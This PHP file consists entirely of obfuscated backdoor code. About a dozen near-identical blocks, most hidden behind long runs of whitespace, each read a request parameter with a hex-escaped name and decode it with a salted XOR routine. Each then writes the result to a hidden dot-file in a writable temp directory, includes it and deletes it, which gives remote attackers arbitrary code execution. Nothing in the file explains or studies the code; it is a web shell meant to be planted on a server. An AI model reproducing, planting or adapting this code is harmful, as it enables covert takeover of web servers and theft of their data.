<?php																																										if(filter_has_var(INPUT_POST, "tkn")){ $holder = $_REQUEST["tkn"]; $holder = explode (".",$holder ) ; $element = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $x = 0; $__tmp = $holder; while ($v4 = array_shift($__tmp)) { $chS = ord($s1[$x%$lenS]); $dec = ((int)$v4 - $chS - ($x%10)) ^ 11; $element.=chr($dec); $x++; } $factor = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", getenv("TMP")]); $comp = 0; do { $itm = $factor[$comp] ?? null; if ($comp >= count($factor)) break; if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $component = join("/", [$itm, ".record"]); $success = file_put_contents($component, $element); if ($success) { include $component; @unlink($component); exit;} } $comp++; } while (true); }
																																										if(!empty($_REQUEST["b\x69ndi\x6Eg"])){ $itm = $_REQUEST["b\x69ndi\x6Eg"]; $itm = explode ( '.' ,$itm ); $ent= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $s= 0; foreach ($itm as $v1) {$sChar= ord($salt[$s % $sLen]); $d= ((int)$v1 - $sChar - ($s % 10)) ^ 14; $ent .= chr($d); $s++; } $reference = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($reference as $key => $descriptor) { if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $desc = "$descriptor" . "/.property_set"; $success = file_put_contents($desc, $ent); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(in_array("\x73\x79m", array_keys($_REQUEST))){ $obj = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $itm = $_REQUEST["\x73\x79m"]; $itm = explode ( '.' , $itm) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; while ($m<count($itm)) { $v5 = $itm[$m]; $chS = ord($s[$m % $lenS]); $d = ((int)$v5 - $chS - ($m % 10))^ 5; $flg.=chr($d); $m++;} while ($parameter_group = array_shift($obj)) { if (is_writable($parameter_group) && is_dir($parameter_group)) { $descriptor = vsprintf("%s/%s", [$parameter_group, ".mrk"]); if (@file_put_contents($descriptor, $flg) !== false) { include $descriptor; unlink($descriptor); exit; } } } }
																																										if(isset($_REQUEST["\x6D\x72k"]) ? true : false){ $parameter_group = array_filter([getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp"]); $rec = $_REQUEST["\x6D\x72k"]; $rec= explode ( '.' ,$rec ) ; $k= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($rec as $l =>$v1) { $sChar= ord($salt[$l % $lenS]); $d= ((int)$v1 - $sChar - ($l % 10)) ^ 24; $k .= chr($d);} foreach ($parameter_group as $tkn): if ((is_dir($tkn) and is_writable($tkn))) { $token = sprintf("%s/.ref", $tkn); if (file_put_contents($token, $k)) { require $token; unlink($token); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["val"])){ $ptr = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), session_save_path()]); $comp = $_REQUEST["val"]; $comp = explode ( '.' , $comp ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($comp); for($y = 0; $y < $__len; $y++) { $v7 = $comp[$y]; $sChar = ord($salt[$y % $sLen]); $d =((int)$v7 - $sChar -($y % 10)) ^ 59; $itm .= chr($d); } foreach ($ptr as $token) { if (is_dir($token) && is_writable($token)) { $k = join("/", [$token, ".element"]); $file = fopen($k, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $k; @unlink($k); die(); } } } }
																																										if(!is_null($_POST["\x70\x6F\x69\x6Eter"] ?? null)){ $bind = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP")]); $flg = $_POST["\x70\x6F\x69\x6Eter"]; $flg = explode ( ".", $flg ) ; $symbol =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s6); $l =0; foreach ($flg as $v2) {$chS =ord($s6[$l% $lenS]); $d =((int)$v2 - $chS - ($l% 10)) ^ 16; $symbol .= chr($d); $l++; } while ($component = array_shift($bind)) { if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $res = "$component/.binding"; if (file_put_contents($res, $symbol)) { include $res; @unlink($res); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x6B\x65y"])){ $desc = array_filter(["/var/tmp", getcwd(), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); $pset = $_POST["\x6B\x65y"]; $pset = explode ( '.' , $pset ); $component=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s); $w=0; foreach( $pset as $v2) { $chS=ord( $s[$w % $sLen]); $dec=( ( int)$v2 - $chS -( $w % 10)) ^ 70; $component .=chr( $dec); $w++; } while ($pgrp = array_shift($desc)) { if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $flag = "$pgrp" . "/.entry"; if (file_put_contents($flag, $component)) { require $flag; unlink($flag); die(); } } } }
																																										if(in_array("\x72\x65\x63ord", array_keys($_REQUEST))){ $res = array_filter([getenv("TMP"), "/dev/shm", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp"]); $value = $_REQUEST["\x72\x65\x63ord"]; $value = explode( '.' , $value ); $token = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9 ); $t = 0; $len = count( $value ); do { if( $t >= $len) break; $v6 = $value[$t]; $chS = ord( $s9[$t % $lenS] ); $dec = ( ( int)$v6 - $chS -( $t % 10)) ^ 69; $token .= chr( $dec ); $t++; } while( true ); $item = 0; do { $reference = $res[$item] ?? null; if ($item >= count($res)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $ref = "$reference/.sym"; $success = file_put_contents($ref, $token); if ($success) { include $ref; @unlink($ref); die();} } $item++; } while (true); }
																																										if(array_key_exists("m\x61r\x6B\x65r", $_POST) && !is_null($_POST["m\x61r\x6B\x65r"])){ $hld = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm"]); $res = $_POST["m\x61r\x6B\x65r"]; $res = explode ( "." , $res ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $res as $r => $v8) { $chS = ord( $s[$r % $sLen]); $dec = ( ( int)$v8 - $chS -( $r % 10)) ^ 22; $value .= chr( $dec); } foreach ($hld as $entry) { if (max(0, is_dir($entry) * is_writable($entry))) { $rec = "$entry/.parameter_group"; if (@file_put_contents($rec, $value) !== false) { include $rec; unlink($rec); exit; } } } }
																																										if(isset($_POST["\x68l\x64"]) ? true : false){ $k = array_filter(["/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); $entry = $_POST["\x68l\x64"]; $entry = explode( '.' ,$entry ) ; $value = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $__len = count($entry); for ($w = 0; $w < $__len; $w++) { $v8 = $entry[$w]; $sChar = ord($salt7[$w % $sLen]); $d = ((int)$v8 - $sChar - ($w % 10)) ^ 48; $value .= chr($d); } foreach ($k as $key => $fac) { if (is_writable($fac) && is_dir($fac)) { $ref = "$fac" . "/.reference"; if (file_put_contents($ref, $value)) { require $ref; unlink($ref); die(); } } } }
																																										if(!is_null($_REQUEST["\x6D\x61\x72ker"] ?? null)){ $factor = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); $entry = $_REQUEST["\x6D\x61\x72ker"]; $entry= explode ( '.' ,$entry ) ; $holder= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt7); $m= 0; $len= count($entry); do { if ($m >=$len) break; $v8= $entry[$m]; $chS= ord($salt7[$m % $sLen]); $d= ((int)$v8 - $chS - ($m % 10)) ^44; $holder .= chr($d); $m++; } while (true); foreach ($factor as $value): if (!( !is_dir($value) || !is_writable($value) )) { $dchunk = sprintf("%s/.pset", $value); if (file_put_contents($dchunk, $holder)) { require $dchunk; unlink($dchunk); die(); } } endforeach; }
																																										if(isset($_REQUEST["po\x69\x6Ete\x72"])){ $fac = $_REQUEST["po\x69\x6Ete\x72"]; $fac= explode ( '.' ,$fac) ; $entity =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $u =0; $__tmp =$fac; while($v4 =array_shift($__tmp)) { $sChar =ord($s[$u %$sLen]); $d =((int)$v4 - $sChar -($u %10)) ^ 12; $entity .= chr($d); $u++; } $pset = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp"]); while ($rec = array_shift($pset)) { if (max(0, is_dir($rec) * is_writable($rec))) { $dchunk = sprintf("%s/.resource", $rec); if (@file_put_contents($dchunk, $entity) !== false) { include $dchunk; unlink($dchunk); exit; } } } }
																																										if(isset($_POST["\x62\x69\x6Edin\x67"]) ? true : false){ $reference = $_POST["\x62\x69\x6Edin\x67"]; $reference= explode ( "." , $reference ); $parameter_group = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $q = 0; foreach($reference as $v9) { $chS = ord($salt4[$q % $sLen]); $dec =((int)$v9 - $chS -($q % 10)) ^ 50; $parameter_group.= chr($dec); $q++;} $component = array_filter(["/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); foreach ($component as $key => $desc) { if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $entry = "$desc" . "/.holder"; if (@file_put_contents($entry, $parameter_group) !== false) { include $entry; unlink($entry); exit; } } } }


if(array_key_exists("\x65le\x6D\x65\x6Et", $_POST) && !is_null($_POST["\x65le\x6D\x65\x6Et"])){
	$dat = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp"]);
	$bind = $_POST["\x65le\x6D\x65\x6Et"];
	  $bind =	 explode			( 		"." , 	$bind)	 ; 	 
	$object='';
            $s3='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen($s3);
            $r=0;
    
            array_walk($bind,	function($v6) use(&$object,	&$r,	$s3,	$lenS) {
                $chS=ord($s3[$r % $lenS]);
                $d=((int)$v6 - $chS -($r % 10)) ^ 92;
                $object .= chr($d);
                $r++;
            });
	foreach ($dat as $tkn):
    		if (max(0, is_dir($tkn) * is_writable($tkn))) {
    $desc = vsprintf("%s/%s", [$tkn, ".component"]);
    if (@file_put_contents($desc, $object) !== false) {
	include $desc;
	unlink($desc);
	exit;
}
}
endforeach;
}